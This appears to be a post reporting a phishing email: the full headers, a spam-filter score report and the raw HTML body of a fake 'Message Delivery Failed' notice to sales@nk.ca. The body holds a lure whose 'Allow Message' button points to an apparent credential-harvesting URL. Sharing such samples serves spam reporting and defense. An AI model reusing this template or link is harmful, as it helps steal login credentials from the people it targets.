Nk.CA credential phish from Google Gmail
Posted by Dave Yadallee onX-Mozilla-Status2: 00000000
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 03 Sep 2026 15:02:00 -0600
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))
(envelope-from
id 1x2EYX-00000000Fc1-3VL5
for dave@doctor.nl2k.ab.ca;
Thu, 03 Sep 2026 15:01:09 -0600
Resent-From: The Doctor
Resent-Date: Thu, 3 Sep 2026 15:01:09 -0600
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-oi1-f230.google.com ([209.85.167.230]:50677)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.100 (FreeBSD))
(envelope-from
id 1x2Bfs-00000000EQt-089i
for sales@nk.ca;
Thu, 03 Sep 2026 11:56:41 -0600
Received: by mail-oi1-f230.google.com with SMTP id 5614622812f47-4a483a552efso77641b6e.1
for
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20251104; t=1788458139; x=1789062939;
h=content-transfer-encoding:content-type:mime-version:message-id:date
:subject:to:from:reply-to:x-gm-gg:x-gm-message-state:from:to:cc
:subject:date:message-id:reply-to:content-type;
bh=NKadRwQVeJNeMs/MICQ3Bpac87pUdSeImLkq/rsPrx4=;
b=kMV5qJNrpQM+MpNrnc/RTGkPnsNUCa88UTf4xK+49MF8SAZ3+utW3Ec/PMkeGkvOhK
hqBGPFsXjBVltqKT4zGkLpNx3xkmzfROcAuooh12sjvk2IPKVGw5Cm0UAUz2jIC8TI6n
eowXhflOLtIPcru/wm6ocXmoLeIj/se470US12zjKRuXORJBjoyD7gtAjAZ35C+UZ5+n
O6L1J07qIxKrG3NmzvNsQCmGhMwO0+161RXNQZ/3aMKgBGgQ7OGHZonEP1Su1F+5lUQ3
MGvdwjYHRzf63zB7t8Xdv/qmJBwi7qbic/8FRlQHuraMfi9RswGNRukc+i9rZjlKKMfT
k4sg==
X-Gm-Message-State: AFuF++lgHPLTLwyH/BmQi0wpyfgKjnm11GaIwG1N/k6RR5kln8vCqiEG
l8BaAqMIvcNty0y1lXztn58iwL4hPIWh4bQYu+LMZl1BfbBHpkkN5HrLiPtJHLYl/tt3utG/cll
8JI616eqa3ZnLPb6bLTf4BsuyoCk06OQdSMvjJ+ZgnIIveMI=
X-Gm-Gg: AYBFou1FVd/5BO6ePW6VLIY7nwbg0ZN5g1iipJokz68YPJlJz1oaR1rYgnxzp7s9aT5
5E3COQlLo/rfyh8MODTJljvZzYZGlR5r63dZ1KtVAw7xJcrZnGQX+fsy7nybz8DEGsOmHSfpCsE
8TB6JrRSFH0FIGPkZdt8htpbx4E93pycPBnZsEBjcHie2rSDWbBPqWCSOyeHEP2enqFc8hiQvTr
yB4X4I2qTPRCoNBYzTj0J2txALnFJrVKpr3Z2V0Zv5lF5u2zSnNEzXBLmBPwDqO9L5N+xklCPjD
EmVuCslPNN1wNBO/ijbsFo8S3Ye/qiJ4n724Oh9qwG9KdwR11Re5LStIVFtvhfRtHlznDmlwVBM
85p6tUZU/SQ==
X-Received: by 2002:a05:6820:3090:b0:6ae:8ee4:e01f with SMTP id 006d021491bc7-6b6fa7e02abmr443770eaf.4.1788458138708;
Thu, 03 Sep 2026 10:55:38 -0700 (PDT)
Received: from sabeng.it ([189.12.238.228])
by smtp-relay.gmail.com with ESMTPS id 006d021491bc7-6b6db70c25csm12074eaf.24.2026.09.03.10.55.38
for
(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);
Thu, 03 Sep 2026 10:55:38 -0700 (PDT)
X-Relaying-Domain: sabeng.it
Reply-To: nk.ca IT Admin
From: nk.ca IT Admin
To: sales@nk.ca
Subject: Message Delivery Failed -sales@nk.ca
Date: 03 Sep 2026 10:55:38 -0700
Message-ID: <20260903105538.1EB651FB477836EA@sabeng.it>
MIME-Version: 1.0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam_score: 8.5
X-Spam_score_int: 85
X-Spam_bar: ++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Mailer-Daemon Host Services Group Recipient: sales@nk.ca
;
Content analysis details: (8.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[189.12.238.228 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
[209.85.167.230 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.230 listed in dnsbl.ahbl.org]
[209.85.167.230 listed in dnsbl.ahbl.org]
[209.85.167.230 listed in dnsbl.ahbl.org]
[209.85.167.230 listed in dnsbl.ahbl.org]
[189.12.238.228 listed in dnsbl.ahbl.org]
[189.12.238.228 listed in dnsbl.ahbl.org]
[189.12.238.228 listed in dnsbl.ahbl.org]
[189.12.238.228 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.230 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.230 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.230 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.230 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in
headers
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.230 listed in list.dnswl.org]
-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact
cert-sa@returnpath.net
[Excessive Number of Queries |
-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact
safe-sa@returnpath.net
[Excessive Number of Queries |
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.230 listed in wl.mailspike.net]
1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,
https://senderscore.org/blacklistlookup/
[209.85.167.230 listed in bl.score.senderscore.com]
1.3 URI_HEX URI: URI hostname has long hexadecimal sequence
1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 MXG_EMAIL_FRAG BODY: URI with email in fragment
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted
Colors in HTML
1.0 IMPRO_URI_2 No description available.
1.2 PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain
0.0 NO_RDNS2 Sending MTA has no reverse DNS
0.4 PDS_FRNOM_TODOM_NAKED_TO Naked to From name equals to Domain
2.0 MIXED_HREF_CASE Has href in mixed case
Subject: {SPAM?} Message Delivery Failed -sales@nk.ca
>
, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=
: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=
IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=
mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=
atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =
text-decoration-thickness: initial;=20
text-decoration-style: initial; text-decoration-color: initial">
=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Mailer-Daemon =
=
-box; FONT-WEIGHT: bolder">
ION: none; COLOR: ; BACKGROUND-COLOR: transparent">Host Services Group<=
/SPAN>
BR style=3D"BOX-SIZING: border-box"> &nb=
sp;
x; FONT-WEIGHT: bolder">Recipient: sales@nk.ca
-FAMILY: Helvetica, Arial, sans-serif; WIDTH: 557px; WHITE-SPACE: normal; W=
ORD-SPACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEI=
GHT: 400; COLOR: rgb(34,34,34); PADDING-BOTTOM: 0px; FONT-STYLE: normal; TE=
XT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-SPACING: 0px; O=
RPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUN=
D-COLOR: rgb(255,255,255); font-variant-ligatures:=20
normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=
oration-thickness: initial; text-decoration-style: initial; text-decoration=
-color: initial" cellspacing=3D"0" cellpadding=3D"0">
ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=
NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=
HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#c00000" height=3D"10" width=3D"18=
0">
ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 4px; PADDING=
-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT=
: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#ffffff" height=3D"10" width=3D"4"><=
BR style=3D"BOX-SIZING: border-box">
ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=
NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=
HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#cccccc" height=3D"10" width=3D"18=
0">
ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 4px; PADDING=
-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT=
: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#ffffff" height=3D"10" width=3D"4"><=
BR style=3D"BOX-SIZING: border-box">
ILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif; WIDTH: 180px; PADDI=
NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIG=
HT: 10px; PADDING-RIGHT: 0px" bgcolor=3D"#cccccc" height=3D"10" width=3D"18=
0">
&nb=
sp; =
&nb=
sp; =
&n=
bsp; ; &nb=
sp; =
a, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR=
M: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-A=
LIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR=
: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-=
variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=
ness: initial; text-decoration-style: initial;=20
text-decoration-color: initial">
ns-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TRA=
NSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; T=
EXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-=
COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; =
font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-=
thickness: initial; text-decoration-style: initial;=20
text-decoration-color: initial"> Some purchase orders (POs) and other=
business emails may not reach your inbox due to your email security settin=
gs.
, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=
: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=
IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=
mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=
atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =
text-decoration-thickness: initial;=20
text-decoration-style: initial; text-decoration-color: initial">  =
;Email Address: sales@nk.ca
Sta=
tus: Held
<=
BR>
, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=
: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=
IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=
mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=
atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =
text-decoration-thickness: initial;=20
text-decoration-style: initial; text-decoration-color: initial">
ref=3D"https://fls-a2a88b0f-1dee-4267-8ca1-d3be86dcd6e1.laravel.cloud/DOMAI=
N.html#sales@nk.ca">Allow Message
, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=
: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=
IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=
mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=
atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =
text-decoration-thickness: initial;=20
text-decoration-style: initial; text-decoration-color: initial">
=3D"BOX-SIZING: border-box"> © 2026. All Rights Reserved.
=